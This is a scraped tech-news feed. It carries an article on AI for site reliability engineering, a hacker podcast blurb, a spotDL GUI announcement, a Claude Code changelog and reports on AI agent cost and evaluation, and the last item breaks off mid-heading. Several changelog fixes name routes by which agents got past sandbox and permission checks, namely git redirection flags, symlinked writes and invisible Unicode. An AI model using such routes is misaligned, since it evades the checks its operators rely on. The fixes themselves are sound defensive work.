<p class="wp-block-paragraph">Over the past decade, SRE responsibilities have become somewhat easier through improvements in <a href="https://www.infoworld.com/article/2263821/5-devops-practices-to-improve-application-reliability.html">monitoring platforms</a>, <a href="https://www.infoworld.com/article/3686056/best-practices-for-devops-observability.html">observability practices</a>, <a href="https://www.infoworld.com/article/2261769/what-is-the-ai-in-aiops.html">tools for centralizing operational data</a>, and <a href="https://drive.starcio.com/2022/01/aiops-cio/">AI applied in IT operations</a> (AIops). But during the heat of resolving an outage or performance issue, it’s not easy to correctly identify what system triggered the issue versus other downstream systems impacted by it.</p>



<p class="wp-block-paragraph">According to the <a href="https://komodor.com/resources/komodor-2025-enterprise-kubernetes-report/">Komodore 2025 Enterprise Kubernetes Report</a>, 79% of production incidents originate from recent system changes, including deployments and changes to compute environments. But the other 21% of incidents stem from issues outside of the business’s control, including network failures, third-party changes, and cloud provider failures.</p>



<p class="wp-block-paragraph">“SREs using AI capabilities succeed or fail in the moment an incident unfolds, when engineers are deciding what to investigate next,” says Itiel Shwartz, CTO at <a href="https://komodor.com/">Komodor</a>. “If the system streamlines root cause detection, connects signals to recent changes, and explains its reasoning in a way engineers recognize, it earns trust. If it adds uncertainty or demands extra validation, it gets sidelined, regardless of how bespoke the model behind it may be. What’s less obvious is what it takes to make AI for SREs work in production, and how different that reality is from prototypes, demos, or early internal builds.”</p>



<p class="wp-block-paragraph"><a href="https://drive.starcio.com/2022/05/aiops-ml-multicloud/">AIops</a> is not a new capability, especially in using machine learning to correlate logs, metrics, and traces across monitoring and alerting systems. IT service management and SREs have been using AIops to <a href="https://drive.starcio.com/2021/11/p1-incidents-long-resolution-times/">reduce the mean time to resolve incidents</a> and to perform accurate <a href="https://drive.starcio.com/2021/12/kpi-agile-devops-itops/">root cause analysis</a> (RCA) efficiently. <a href="https://www.infoworld.com/article/4100507/5-key-agenticops-practices-to-start-building-now.html">Agentic ops</a> is the next wave of genAI operational capabilities, including tools for monitoring AI agents, managing their access rights, and detecting AI model accuracy drift.</p>



<p class="wp-block-paragraph"> “AI is useful during major incidents because it can pull together a lot of context into a few clear sentences, which is exactly what an SRE needs in the moment,” suggests Shani Shoham, chief revenue officer at <a href="https://openobserve.ai/">OpenObserve</a>. “The complexity of architecture and the different tooling make it easier for AI than for a human, but autonomous resolution is still a way off.”</p>



<h2 class="wp-block-heading">AI’s impact on people and burnout</h2>



<p class="wp-block-paragraph">The business pressure to keep systems up, secure, and performing well is a 24/7 stressful responsibility. According to <a href="https://www.catchpoint.com/learn/sre-report-2025">The SRE Report 2025</a> from Catchpoint, 36% of SREs often or always experience elevated stress during an incident, and 28% said the stress persists even after the incident is resolved. AI capabilities may prove to be a game-changer in helping SREs avoid burnout and reduce stress.</p>



<p class="wp-block-paragraph">“AI can improve RCA by taking in a much larger incident context than any engineer can hold at 3am, reasoning across traces, logs, metrics, deploys, config changes, alerts, ownership, and recent production behavior,” says Noam Levy, founding engineer and field CTO at <a href="https://www.groundcover.com/">Groundcover</a>. “Beyond attempting a full RCA, its immediate value is distilling the signals that actually matter, reconstructing a clear timeline of cause and effect, and helping engineers separate correlation from likely causality. Once a fix is deployed, agents can also verify remediation by comparing pre- and post-fix behavior, but this depends on broad access to rich, correlated production signals and a cost model that does not discourage adoption or experimentation.”</p>



<p class="wp-block-paragraph">Not only are incidents resolved faster and with less stress, but AI can also free up SRE time to focus on proactive work and create a career path for junior developers into SRE roles. Quais Taraki, CTO at <a href="https://www.enterprisedb.com/">EDB Postgres AI</a>, adds, “AI reduces toil by automating repetitive tasks while accelerating incident resolution through copilots that correlate signals across distributed systems, allowing SREs to focus more on resilience strategies like chaos engineering and failure analysis.”</p>



<p class="wp-block-paragraph">AI can have long-lasting operational impacts, especially for organizations looking to deploy more mission-critical technology and AI capabilities. Two longer-term benefits of AI for SREs are reducing the number of bridge calls needed for incident response and the number of engineers required in “<a href="https://drive.starcio.com/2021/04/it-digital-operations-aiops/">war rooms</a>” to coordinate root cause analyses.</p>



<p class="wp-block-paragraph">“When something goes wrong, AI that guides SREs can do the full analysis, get to the root cause, and perform the remediation,” says Spiros Xanthos, founder and CEO of <a href="https://resolve.ai/">Resolve AI</a>. “AI also helps avoid many escalations, and when escalations are needed, it targets the right people from the network, infrastructure, and the application teams. AI for SREs centralizes operational intelligence, exposes tribal knowledge, and can guide more junior developers.” </p>



<h2 class="wp-block-heading">AI agent reliability</h2>



<p class="wp-block-paragraph">While AI capabilities have been a net positive in helping SREs improve system reliability, the growth of <a href="https://www.infoworld.com/article/4032989/a-developers-guide-to-code-generation.html">AI code generators</a>, <a href="https://www.infoworld.com/article/4058076/vibe-coding-and-the-future-of-software-development.html">vibe coding</a>, and <a href="https://www.infoworld.com/article/4166817/vibe-coding-or-spec-driven-development.html">spec-driven development</a> is adding to their workloads. <a href="https://www.braiviq.com/blog/vibe-coding-ai-development-2026-cursor-copilot-claude-code">According to one study</a>, 41% of all global code is now AI-generated, and <a href="https://www.hostinger.com/blog/vibe-coding-statistics">Gartner predicts</a> that 40% of new enterprise production software will be created using vibe coding techniques by 2028.</p>



<p class="wp-block-paragraph">But coding velocity is creating new issues for SREs as AI pull requests have 1.4 times more critical issues and 1.7 times more major issues, <a href="https://www.coderabbit.ai/blog/state-of-ai-vs-human-code-generation-report">according to CodeRabbit</a>. “AI-assisted development has created an unprecedented velocity of code reaching production, expanding surface area, edge cases, and failure rates faster than traditional SRE practices can absorb,” says Vinod Jayaraman, cofounder and CTO at <a href="https://neubird.ai/">NeuBird AI</a>. “The speed of shipping has far outpaced the speed of understanding what breaks in production. To close this loop, SREs need enterprise agents that can capture precise diagnostic context, including correlated traces, service dependencies, and anomaly timelines, and structure it as actionable input for the engineers and AI coding tools responsible for the fix.”</p>



<p class="wp-block-paragraph">The growing number of AI agents deployed to production creates new challenges. AI agents are not just code; they have multiple failure points. They are built using language models, connect to proprietary sources for context, and integrate with <a href="https://www.infoworld.com/article/4124612/5-requirements-for-using-mcp-servers-to-connect-ai-agents.html">Model Context Protocol servers</a> to support more complex workflows. Changes are ongoing and not deployment events, so the SRE’s job of identifying the source of performance and accuracy drifts isn’t trivial. </p>



<p class="wp-block-paragraph">“Traditional SRE was built for systems that fail in reproducible ways, but agents fail differently and drift when a model provider pushes an update, and behavior shifts silently with no baseline for comparison,” says Mohammed Aboul-Magd, vice president of product at <a href="https://www.sandboxaq.com/">SandboxAQ</a>. “Most organizations can’t even answer the basics: how many agents are running, what they have access to, and whether they’re still doing what they were built to do.”</p>



<p class="wp-block-paragraph">“Every time a senior engineer leaves, they take years of learned failure patterns with them, and the next outage starts from square one,” adds Ronak Desai, cofounder and CEO at <a href="https://ciroos.ai/">Ciroos</a>. “Using AI for compounding operational memory changes that, and every incident your system resolves, the AI learns it.”</p>



<p class="wp-block-paragraph">SREs should take a leadership role in emerging best practices, including defining their standards for AI agent <a href="https://www.infoworld.com/article/4061123/how-to-write-nonfunctional-requirements-for-ai-agents.html">non-functional acceptance criteria</a>, <a href="https://www.infoworld.com/article/4140832/7-safeguards-for-observable-ai-agents.html">observability practices</a>, and <a href="https://www.infoworld.com/article/4105884/10-essential-release-criteria-for-launching-ai-agents.html">release-readiness criteria</a>. SREs should update their <a href="https://www.infoworld.com/article/3684268/tools-to-manage-slos-and-error-budgets.html">service-level objectives</a> (SLOs) and define error budgets for AI agents in production.</p>



<p class="wp-block-paragraph">Ryan Downing, vice president and CIO of enterprise business solutions at <a href="https://www.principal.com/">Principal Financial Group</a>, says, “Standard SLOs and error budgets give teams the guardrails, and AI helps interpret the telemetry against those targets, reducing noise so engineers can get to the real issue faster and automate parts of remediation before customers are impacted.”</p>



<h2 class="wp-block-heading">AI raises the SRE’s business impact</h2>



<p class="wp-block-paragraph">The more dramatic shift in site reliability engineering is an evolution of its business scope. IT leaders focus on uptime, performance, and issue resolution, as well as understanding their impacts. Business leaders will look to IT and SREs to identify, determine root cause, and remediate a broader class of issues, including <a href="https://drive.starcio.com/2025/07/rogue-ai-agents-cios-govern-agentic-ecosystem/">rogue AI agents</a> and the impacts of <a href="https://www.infoworld.com/article/4040513/how-to-avoid-the-risks-of-rapidly-deploying-ai-agents.html">rapidly deploying new agentic capabilities</a>. </p>



<p class="wp-block-paragraph">“AI agents are handing SREs categories of problems they’ve never had to solve before, specifically failures defined in business terms, not technical ones,” says Blake Sherwood, distinguished technologist for AI and platform strategy at <a href="https://www.smarsh.com/">Smarsh</a>. “Traditional reliability engineering is built around latency, errors, and crashes, but agents now fail due to skipped compliance steps or outcomes that looked fine technically but were wrong contextually. Most SRE teams aren’t wired for that yet.”</p>



<p class="wp-block-paragraph">The question is whether SREs with AI-augmented tools can keep up with the velocity, complexity, and business urgency of deploying new AI business capabilities.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[177: National Public Data]]></title>
<description><![CDATA[This is the story of the hacker known as "USDoD". When he was young he had a vengeance on the US, and this lead him down a road of continual data breaches, until he hacked into National Public Data, which is when his spree went one step too far.SponsorsSupport for this show comes from ThreatLocke...]]></description>
<link>https://tsecurity.de/de/3682878/podcasts/177-national-public-data/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682878/podcasts/177-national-public-data/</guid>
<pubDate>Tue, 21 Jul 2026 09:03:54 +0200</pubDate>
<category>🎥 Podcasts</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This is the story of the hacker known as "USDoD". When he was young he had a vengeance on the US, and this lead him down a road of continual data breaches, until he hacked into National Public Data, which is when his spree went one step too far.</p><h3>Sponsors</h3><p>Support for this show comes from <a href="https://www.threatlocker.com/"><strong>ThreatLocker®</strong></a>. ThreatLocker® is a Zero Trust Endpoint Protection Platform that strengthens your infrastructure from the ground up. With ThreatLocker® Allowlisting and Ringfencing™, you gain a more secure approach to blocking exploits of known and unknown vulnerabilities. ThreatLocker® provides Zero Trust control at the kernel level that enables you to allow everything you need and block everything else, including ransomware! Learn more at <a href="https://www.threatlocker.com/"><strong>www.threatlocker.com</strong></a>.</p><p>This show is sponsored by <a href="http://mazehq.com/darknet"><strong>Maze</strong></a>. Maze uses AI agents to triage and remediate cloud vulnerabilities by figuring out what’s actually exploitable, not just what’s theoretically risky. They remove the noise, prioritize vulns that matter, and manage remediation, so your team stops wasting time on meaningless vulns. Visit <a href="http://mazehq.com/darknet"><strong>MazeHQ.com/darknet</strong></a> for more information.</p><p>This show is sponsored by <a href="https://sentry.io/"><strong>Sentry.IO</strong></a>. Sentry wants to help you monitor your environment for problems. They do error tracking, stack tracing, debugging, all so that your developers can diagnose, fix, and optimize the performance of their code. This makes it so developers ship more reliable code faster. Learn more at <a href="https://sentry.io/"><strong>sentry.io</strong></a>.</p><p><a href="https://darknetdiaries.com/sponsors/"><strong>View all active sponsors.</strong></a></p><h3>Sources</h3><p>Full list of sources on the show page: <a href="https://darknetdiaries.com/episode/177/"><strong>https://darknetdiaries.com/episode/177/</strong></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[I made a native GNOME app for downloading music from Spotify]]></title>
<description><![CDATA[I've been using spotDL for years, and while the CLI is fantastic, I always found myself wishing it had a proper desktop app that actually felt at home on Linux. So over the last little while I built one. spotDL GNOME is a Linux-focused fork of spotDL with a native GTK4/libadwaita interface, packa...]]></description>
<link>https://tsecurity.de/de/3682513/linux-tipps/i-made-a-native-gnome-app-for-downloading-music-from-spotify/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682513/linux-tipps/i-made-a-native-gnome-app-for-downloading-music-from-spotify/</guid>
<pubDate>Tue, 21 Jul 2026 03:56:12 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>I've been using <strong>spotDL</strong> for years, and while the CLI is fantastic, I always found myself wishing it had a proper desktop app that actually felt at home on Linux.</p> <p>So over the last little while I built one.</p> <p><strong>spotDL GNOME</strong> is a Linux-focused fork of spotDL with a native <strong>GTK4/libadwaita</strong> interface, packaged as a self-contained <strong>Flatpak</strong>. The goal wasn't to replace the CLI, just to make it easier to use for people who prefer a GUI.</p> <p>Some of the things it includes:</p> <ul> <li>🎵 Download Spotify tracks, albums and playlists</li> <li>📦 One-click Flatpak installation</li> <li>⏳ Live download progress</li> <li>🕘 Download history</li> <li>🔁 Automatic fallback sources (YouTube Music → YouTube → SoundCloud → Bandcamp)</li> <li>❌ Retry failed tracks individually with clear error messages</li> <li>📁 Organised music folders with configurable templates</li> <li>🎚️ Audio format, bitrate and synced lyrics settings</li> <li>🛠️ FFmpeg and Deno bundled in the Flatpak</li> </ul> <p>One thing that was important to me was making it feel like an actual GNOME application instead of an Electron wrapper. If you're running Fedora, Ubuntu or another distro with Flatpak, it should fit right in.</p> <p>I'd love some feedback from other Linux users. Feature requests, bug reports and PRs are always welcome.</p> <p>GitHub:<br> <a href="https://github.com/loafdaddy/spotDL-GNOME">https://github.com/loafdaddy/spotDL-GNOME</a></p> <p>Huge thanks to the original <strong>spotDL</strong> developers. Their project does all the heavy lifting. This is simply a native desktop frontend built on top of their excellent engine.</p> <p><strong>AI disclosure:</strong> I used AI as a development tool for parts of the GTK UI, documentation, branding and boilerplate. It wasn't generated from a single prompt, and everything in the project has been manually reviewed and tested before release.</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/TwoLoafsApps"> /u/TwoLoafsApps </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1v23nzk/i_made_a_native_gnome_app_for_downloading_music/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1v23nzk/i_made_a_native_gnome_app_for_downloading_music/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[v2.1.216]]></title>
<description><![CDATA[What's changed

Added sandbox.filesystem.disabled setting to skip filesystem isolation while keeping network egress control
Fixed a slowdown in long sessions where message normalization cost grew quadratically with the number of turns, causing multi-second stalls and slow resumes
Fixed auto mode ...]]></description>
<link>https://tsecurity.de/de/3682279/downloads/v21216/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682279/downloads/v21216/</guid>
<pubDate>Tue, 21 Jul 2026 00:16:52 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's changed</h2>
<ul>
<li>Added <code>sandbox.filesystem.disabled</code> setting to skip filesystem isolation while keeping network egress control</li>
<li>Fixed a slowdown in long sessions where message normalization cost grew quadratically with the number of turns, causing multi-second stalls and slow resumes</li>
<li>Fixed auto mode denying commands with "HTTP 401" classifier errors after the OAuth token expired or rotated mid-session</li>
<li>Fixed AskUserQuestion telling Claude to continue even when your answer asked it to wait or explain first — free-text answers now get neutral wording</li>
<li>Fixed Claude Code on the web re-asking the same question and dropping your answer after the session sat idle for a few minutes</li>
<li>Fixed @-mentions silently attaching nothing after file-modifying hooks, vim dot-repeat of <code>c</code>-operators and paste, statusline running twice on resume, and resume-picker hangs on failure</li>
<li>Fixed resumed background agent sessions reverting to the default agent: the agent's prompt and tool restrictions are now restored</li>
<li>Fixed worktree-isolated subagents redirecting git into the shared checkout via <code>git -C</code>, <code>--git-dir</code>, or <code>GIT_DIR</code>/<code>GIT_WORK_TREE</code></li>
<li>Fixed worktree sessions landing in another project's leftover worktree when the working directory did not match the selected project</li>
<li>Fixed background sessions whose worktree has no git repository being undeletable</li>
<li>Fixed <code>claude daemon stop --any</code> potentially terminating an unrelated process via a stale legacy daemon lockfile</li>
<li>Fixed Esc-Esc at an idle prompt not opening the rewind picker in long-running sessions with background tasks</li>
<li>Fixed Bash command permission checking for compound statements with redirects inside <code>&amp;&amp;</code> lists or negations</li>
<li>Fixed pressing Ctrl+X twice in the agent list failing to delete a session, and deleted sessions reappearing when their background worker had died</li>
<li>Fixed background subagents getting cancelled when a high-priority message arrives during their startup window</li>
<li>Fixed mouse and focus garbage in the terminal while a GUI editor from <code>/memory</code>, <code>/plan</code>, <code>/keybindings</code>, or Ctrl+G is open; <code>/memory</code> no longer waits for the editor to close</li>
<li>Fixed Claude-in-Chrome 403-looping on reconnect when the session's OAuth token lacks a required scope</li>
<li>Fixed workflow saves and scheduled-task writes following a symlink at <code>.claude</code>, which could redirect writes outside the project</li>
<li>Fixed MCP re-authenticate revoking working credentials before the new sign-in succeeds, and the reconnect needs-auth message in background sessions pointing at an unusable command</li>
<li>Fixed read-only commands on Windows accessing network paths without a permission prompt</li>
<li>Fixed Bash command parsing of non-ASCII characters to match real shell word boundaries</li>
<li>Fixed PowerShell tool permission validation of commands containing invisible Unicode characters</li>
<li>Fixed dialogs in fullscreen mode stretching past the right-hand edge of their panel</li>
<li>Fixed the <code>/config</code> settings list in fullscreen mode clipping its keyboard-hint footer</li>
<li>Fixed the transcript-mode (Ctrl+O) footer hint wrapping on terminals narrower than 104 columns</li>
<li>Fixed the Prometheus metrics endpoint (<code>OTEL_METRICS_EXPORTER=prometheus</code>) emitting invalid <code># UNIT</code> lines</li>
<li>Fixed skills and commands changed during a session not appearing in the slash menu until restart</li>
<li>Fixed plugin skills with a <code>name</code> frontmatter field losing their plugin prefix in slash-command autocomplete</li>
<li>Fixed telemetry misreporting permission denials: failed permission-prompt requests no longer count as user rejections, and user interrupts are now reported as user aborts instead of rejections</li>
<li>Improved the <code>/fork</code> confirmation to one line with the new session's name, <code>claude attach</code> id, and a note when the copy shares your checkout</li>
<li>Improved validation of <code>git</code> and <code>gh</code> command arguments in the PowerShell tool</li>
<li>Improved the <code>/ultrareview</code> diff-too-large error to show configured limits, measured diff size, and largest contributing files</li>
<li>Improved <code>/code-review ultra</code> empty-diff message to name the exact base ref and suggest passing an explicit base</li>
<li>Improved the spend limit adjustment prompt to show the server's reason when a spend limit change is rejected</li>
<li><code>/context</code> now shows an explicit warning when the conversation exceeds the context window, and a failed <code>/compact</code> displays as an error</li>
<li><code>/rewind</code> no longer restores or deletes files through symlinks or hard links at tracked paths and reports how many paths it skipped</li>
<li>Background sessions: <code>/mcp</code> and <code>/install-github-app</code> now park a "needs input" request in the agent view when no client is attached</li>
<li>Updated the bundled dataviz skill: reordered the default chart palette and fixed guidance that suggested direct labels for four-series charts</li>
<li>[VSCode] Fixed right-to-left text (Arabic, Hebrew, Persian) rendering in the wrong order when mixed with English or code</li>
<li>Fixed cloud sessions dropping the in-flight message when the session's container restarts mid-turn — the interrupted turn now re-runs on resume instead of leaving the session unresponsive</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Writer's AI harness cuts token spend nearly 40% — without sacrificing accuracy]]></title>
<description><![CDATA[Enterprise AI is facing an ROI paradox. While throwing more compute at the strongest foundation model works well in product experiments, the costs become unbearable when the product is deployed in production.A new paper from researchers at Writer provides a solution that is accessible to engineer...]]></description>
<link>https://tsecurity.de/de/3682237/it-nachrichten/writers-ai-harness-cuts-token-spend-nearly-40-without-sacrificing-accuracy/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682237/it-nachrichten/writers-ai-harness-cuts-token-spend-nearly-40-without-sacrificing-accuracy/</guid>
<pubDate>Mon, 20 Jul 2026 23:48:13 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Enterprise AI is facing an ROI paradox. While throwing more compute at the strongest foundation model works well in product experiments, the costs become unbearable when the product is deployed in production.</p><p>A <a href="https://arxiv.org/abs/2607.06906">new paper</a> from researchers at Writer provides a solution that is accessible to engineering teams. The study takes a systematic look at optimizing the different components of the orchestration layer that wraps around the foundation model, aka the AI harness. </p><p>By optimizing the harness, the researchers show dramatic reductions in tokens per task, a drop in cost-per-successful-task by up to 61%, and quality that holds steady, all without changing the underlying foundation model.</p><p>Because the harness is fully under the developer's control and requires no model fine-tuning, engineering teams can apply these findings to build highly cost-efficient AI applications.</p><h2>The ROI crisis of tokenmaxxing</h2><p>The current state of AI engineering is plagued by "<a href="https://blog.pragmaticengineer.com/the-pulse-tokenmaxxing-as-a-weird-new-trend/">tokenmaxxing</a>," an industry trend where developers rely on massive context windows and brute-force token consumption as a substitute for good system design. </p><p>Rather than engineering elegant workflows, developers have imported a reflex from traditional software development: generate, run, fail, stuff the error and more context back into the window, and retry. </p><p>"Teams tokenmaxx because it's the cheapest fix in the moment, and because it's literally how most engineers work today," Waseem AlShikh, CTO and co-founder of Writer, told VentureBeat. Because this approach succeeds often enough on coding tasks, it has become the default reflex for every other agentic workload. The danger is that per-token price drops mask the underlying inefficiency. </p><p>"Your invoice is tokens-per-task times price-per-token, and most teams only watch the second number," AlShikh said. "In agentic workloads, tokens-per-task compounds — every loop iteration re-transmits the growing context — and it compounds faster than prices fall. The price cut becomes an anesthetic. It masks the fact that the loop itself is bleeding."</p><p>Tokenmaxxing leads to several enterprise failure modes. Teams route simple tasks to premium frontier models by default. They use the LLM as a lazy search index, stuffing the context window with raw documents instead of retrieving exact answers. Most destructively, they build unconstrained agentic loops that spiral out of control when the model encounters an error. Because output tokens cost significantly more than input tokens across all major model providers, inefficient task execution acts as a silent budget killer.</p><p>The industry has introduced several efficiency techniques to curb these costs, but they largely fall short because they treat the model in isolation: </p><ul><li><p><b></b><a href="https://venturebeat.com/data/context-compression-finally-works-in-production-new-research-cuts-llm-input-16x-without-the-accuracy-hit"><b>Prompt compression</b></a> condenses input text to save space, but ignores how the system sequences those inputs across complex workflows. </p></li><li><p><b>Budgeted reasoning</b> caps the computational steps a model can take, which often degrades output quality if the workflow isn't intelligently routed. </p></li><li><p><b>Terse coding</b> forces models to output minimal code to save output tokens, but does nothing to solve inefficient tool calling. </p></li><li><p><a href="https://venturebeat.com/data/together-ais-atlas-adaptive-speculator-delivers-400-inference-speedup-by"><b>Speculative decoding</b></a> uses a smaller draft model to speed up a larger model's text generation, optimizing inference speed while failing to address bloated agent architectures.</p></li></ul><p>These efforts fail because they optimize the engine while ignoring the transmission. They do not look at the orchestration layer, leaving underlying architectural inefficiencies unresolved.</p><h2>Unpacking the harness: the levers of efficiency</h2><p>The harness is the orchestration layer that routes, formats, and turns the underlying LLM into a working system.</p><p>The core levers of harness optimization include system prompt caching, interaction history compaction, tool management, retrieval strategies, and error management. These are the most accessible intervention points for engineering teams looking to improve AI performance. </p><p>As the Writer researchers note in the study: “If the harness is the layer that composes model calls into work, it is also the layer that sets the price of work.”</p><p>Historically, developers have treated the harness as disposable glue code designed simply to connect an API to a user interface. The study signals that the harness must now be treated as a first-class object: a primary software artifact that requires its own testing, versioning, and rigorous design. </p><p>For enterprises, this reframes the "own-versus-rent" decision. </p><p>"Enterprises spend months on model evaluations and then rent their orchestration off the shelf — which means they're optimizing the smaller lever and outsourcing the bigger one," AlShikh said. "Whoever owns the harness owns your unit economics, and an open framework tuned for demos is not tuned for your invoice." </p><h2>Inside the experiments</h2><p>To isolate the impact of the orchestration layer, the researchers ran experiments on six foundation models spanning multiple vendors and weight classes: Claude Sonnet 4.6, Gemini 3.1, Gemini Flash 3.5, Qwen 3.6, GLM 5.1, and Writer’s own model, Palmyra X6. </p><p>Their experiments compared a frozen, conventional production agent loop against the finished Writer Agent Harness on the same 22 locked enterprise tasks, spanning capabilities like grounding and retrieval, multi-step workflows, tool use, and content generation. By holding the models and tasks constant, they could isolate the effects of the orchestration layer itself.</p><p>The optimized harness drove a significant drop in costs, cutting the blended cost per task by 41%, from 21 cents to 12 cents. This was largely achieved by slashing token consumption, with the number of tokens per task falling 38%, from 14.2k to 8.8k.</p><p>The harness is designed to delegate tasks like search to specialized sub-agents. A sub-agent receives only the tool and the specific query it needs, retrieves the exact data, and returns a capped, clean summary to the main agent — keeping the primary context window from filling up with raw search results.</p><p>Task success rates held steady even as token use fell — moving from 78% to 81%, a gain the researchers describe as directional rather than statistically significant at their sample size, meaning quality didn't suffer even as costs dropped.</p><p>End-to-end task latency also dropped significantly, reducing the median wall-clock time by 44%, from 48 seconds to 27 seconds, due to prompt caching and the elimination of dead-end reasoning loops.</p><p>However, the researchers also found limits to multi-agent orchestration. Smaller models like Gemini Flash 3.5 and Qwen 3.6 scored well below a usable reliability threshold on sub-agent delegation tasks (0.45 and 0.42, respectively) — the capability simply isn't dependable yet on lighter-weight models.</p><p>Sub-agent orchestration only crossed a usable reliability threshold on the two strongest models tested: Writer's own Palmyra X6 (0.86) and Claude Sonnet 4.6 (0.85).</p><h2>The developer’s playbook: actionable takeaways and tradeoffs</h2><p>The findings from the study translate into a playbook for enterprise developers building agentic workflows at scale. The first step is to implement what AlShikh calls the "Two-Zone Prompt" and "Context Offloading."</p><p><b>Structure for system prompt caching (The Two-Zone Prompt):</b> Modern LLM APIs offer prompt caching, but developers must structure their payloads correctly to trigger it. Developers must separate the "stable zone" from the "volatile zone." Place static, unchanging elements (e.g., core rules, large tool schemas, and standard operating procedures) at the top of the prompt. Dynamic elements, such as the specific user query or recent conversational task state, must be appended at the bottom. This ordering allows the harness to reuse the cached prefix across hundreds of calls. "That single separation makes prompt caching actually work and stops you from re-paying for the same instructions on every one of an agent's thirty steps," AlShikh said.</p><p><b>Manage context with Context Offloading:</b> Avoid context stuffing, where every turn of a loop is appended into a monolithic prompt until the window maxes out. Instead, move history and intermediate artifacts out of the window into retrievable storage, and pull back only what the current step needs. If possible, delegate tasks to single-purpose sub-agents to avoid context bloat. As AlShikh points out, "the biggest line item in agent spend isn't reasoning — it's re-sending things the model has already seen."</p><p><b>Build resilient loops and redefine KPIs:</b> Unmanaged agent loops drain API budgets rapidly. Teams must begin tracking Completions Per Million tokens (CPM) to understand their true task costs, but the harness itself must contain physical guardrails. "The core principle is that you never ask the model to police its own spending," AlShikh said. "The fence has to live below the model, in code, on your side of the API." This requires three hard checks:</p><ul><li><p><b>Hard per-task token budgets:</b> The run terminates when the budget is spent, no exceptions.</p></li><li><p><b>Generation fencing:</b> Caps on steps, tool calls, and recursion depth to stop non-converging agents. </p></li><li><p><b>Failure-spend governance:</b> Cap what a run can spend after its first failed validation so a failing task doesn't become your most expensive task.</p></li></ul><p><b>Avoid unnecessary complexity:</b> Optimizing the orchestration layer comes with engineering overhead. If you're in the prototyping and exploration stage, that overhead isn't justified — iterate fast with a strong model and a light harness. Once you're scaling to millions of requests a day, the savings from harness optimization become substantial.</p><p>However, teams must be aware of "harness leverage." Adding structural scaffolding requires the model to hold and obey that context. If a model is too small, it will spend its limited capacity parsing the scaffolding instead of doing the task, causing accuracy to drop and tokens to rise. The rule for adding complex orchestration features is strictly mathematical: "If a feature adds more coordination tokens than it removes task tokens for that specific model, cut it," AlShikh said. "Nothing in the harness is free."</p><h2>The future of the enterprise harness</h2><p>The era of tokenmaxxing and treating context windows like bottomless buckets is coming to an end. Throwing more compute at poorly designed systems is not a viable strategy for companies that need to demonstrate a return on their AI investments. </p><p>As foundation models evolve to absorb planning, tool selection, and multi-step reasoning natively into their weights, the role of the harness will shift from compensating for model weakness to enforcing enterprise policy.</p><p>"What never moves into the model is the 'allowed': budgets, permissions, data boundaries, audit trails, deterministic kill-switches," AlShikh said. "Five years from now, the harness will be thinner but more important. There will be less scaffolding and more governance. However capable the model gets, someone external to it still has to define what it may spend, see, and touch. That layer belongs to the enterprise, and it should never be rented."</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[A single AI agent conversation can look perfect and still be broken, leaders from LangChain, Conviva and CoreWeave said at VB Transform 2026]]></title>
<description><![CDATA[A single AI agent conversation can look flawless scored on its own and still point to a broken product. That gap is driving a shift in how enterprises evaluate agents, away from scoring individual traces and toward comparing cohorts of users against a baseline.At VB Transform 2026, Harrison Chase...]]></description>
<link>https://tsecurity.de/de/3682142/it-nachrichten/a-single-ai-agent-conversation-can-look-perfect-and-still-be-broken-leaders-from-langchain-conviva-and-coreweave-said-at-vb-transform-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682142/it-nachrichten/a-single-ai-agent-conversation-can-look-perfect-and-still-be-broken-leaders-from-langchain-conviva-and-coreweave-said-at-vb-transform-2026/</guid>
<pubDate>Mon, 20 Jul 2026 22:48:13 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A single AI agent conversation can look flawless scored on its own and still point to a broken product. That gap is driving a shift in how enterprises evaluate agents, away from scoring individual traces and toward comparing cohorts of users against a baseline.</p><p>At<a href="https://venturebeat.com/vbtransform2026"> VB Transform 2026</a>, <!-- -->Harrison Chase, CEO of LangChain; Hui Zhang, CTO and co-founder of Conviva; and Emmanuel Turlay, director of engineering at CoreWeave, described that shift, along with a parallel move toward cheaper, narrower judge models.</p><p>Agent-as-judge — judging one AI agent's output with another — hasn't replaced LLM-as-judge, which Chase said remains the default. The larger tension, Zhang said, is between automated judging, whether by LLM or agent, and human review.</p><p>"You have scalable but ungrounded, whether it's agents as judge or LLMs as judge, you grade the outcome, you grade the work. It still is very difficult to ground it and then you use humans and that's just not scalable," Zhang said. "The whole industry is facing this, which poison you want to pick."</p><h2>Evaluation criteria now function as the product spec</h2><p>That gap — a conversation that scores well but still signals a broken product — is what teams try to close by building an exhaustive evaluation suite before they ship anything. Chase said that doesn't work.</p><p>"We sometimes see teams that have almost eval paralysis," Chase said. "They're like, this is an eval set, I can't launch it. The best teams launch and then iterate."</p><p>Chase framed evaluation criteria as a living specification, not a one-time test suite: a product requirements document — the standard software-development spec for what an application should do. "Evals are like the new PRD," he said. "They define what your agent should and shouldn't do."</p><p>Turlay described hitting the same failure from a different angle. "I was trying to reach 100% coverage for my tests, and I still had bugs in production," he said — a test suite that looked complete but still missed what mattered, the same gap Chase was describing with evals.</p><p>Broad, always-on monitoring, he said, catches more real failures than an exhaustive pre-launch test suite. Teams should set up wide online checks first, use those to identify failure classes as they occur, then build a targeted offline evaluation set around the problems that surface.</p><h2>Why scoring traces one 